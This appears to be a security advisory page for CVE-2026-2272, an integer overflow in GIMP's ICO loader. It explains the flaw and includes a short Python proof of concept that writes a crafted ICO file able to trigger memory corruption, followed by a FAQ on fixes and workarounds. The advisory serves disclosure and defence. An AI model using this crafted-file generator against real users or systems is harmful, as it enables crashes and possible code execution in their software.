CVE-2026-2272: Gimp: gimp: memory corruption due to integer overflow in ico file handling
A flaw was found in GIMP. An integer overflow vulnerability exists when processing ICO image files, specifically in the icoreadinfo and icoreadicon functions. This issue arises because a size calculation for image buffers can wrap around due to a 32-bit integer evaluation, allowing oversized image headers to bypass security checks. A remote attacker could exploit this by providing a specially crafted ICO file, leading to a buffer overflow and memory corruption, which may result in an application level denial of service.
Other sources
Summary icoreadinfo sizes the image and buf from ICO directory entry dimensions, but icoreadicon trusts BITMAPINFOHEADER width/height for decoding, creating a mismatch when header dimensions are larger. The size guard data.width data.height 2 > maxsize is evaluated in 32‑bit guint32 and can wrap, letting oversized headers pass like this:
if (data.width data.height 2 > maxsize) { / ... / }
Decode loops then use large w/h and write past the buffer sized from the entry, and icoallocmap uses gint length math that can overflow for xormap/andmap when dimensions are huge.
Proof-of-concept
import struct
hdr = struct.pack("<HHH", 0, 1, 1)
IcoFileEntry: width=1, height=1, colors=0, reserved=0, planes=1, bpp=32, size=40, offset=22 entry = struct.pack("<BBBBHHII", 1, 1, 0, 0, 1, 32, 40, 22)
BITMAPINFOHEADER: headersize=40, width=0x00100000, height=0x00200000 (ICO height is doubled) width = 0x00100000 height = 0x00200000 bmp = struct.pack("<IIIHHIIIIII", 40, width, height, 1, 32, 0, 0, 0, 0, 0, 0)
open("poc1.ico", "wb").write(hdr + entry + bmp)
— Red Hat
Affected Software
Event History
Frequently Asked Questions
What is the severity of CVE-2026-2272?
CVE-2026-2272 is considered a high-severity vulnerability due to its potential for exploitation leading to memory corruption.
How do I fix CVE-2026-2272?
To fix CVE-2026-2272, update to the latest version of GIMP that addresses the integer overflow vulnerability.
What software is affected by CVE-2026-2272?
CVE-2026-2272 specifically affects GIMP software when handling ICO image files.
What are the risks associated with CVE-2026-2272?
The risks of CVE-2026-2272 include potential crashes and exploitation of the application which may lead to arbitrary code execution.
Is there a workaround for CVE-2026-2272?
As a workaround for CVE-2026-2272, users should avoid opening untrusted ICO files until a patch is applied.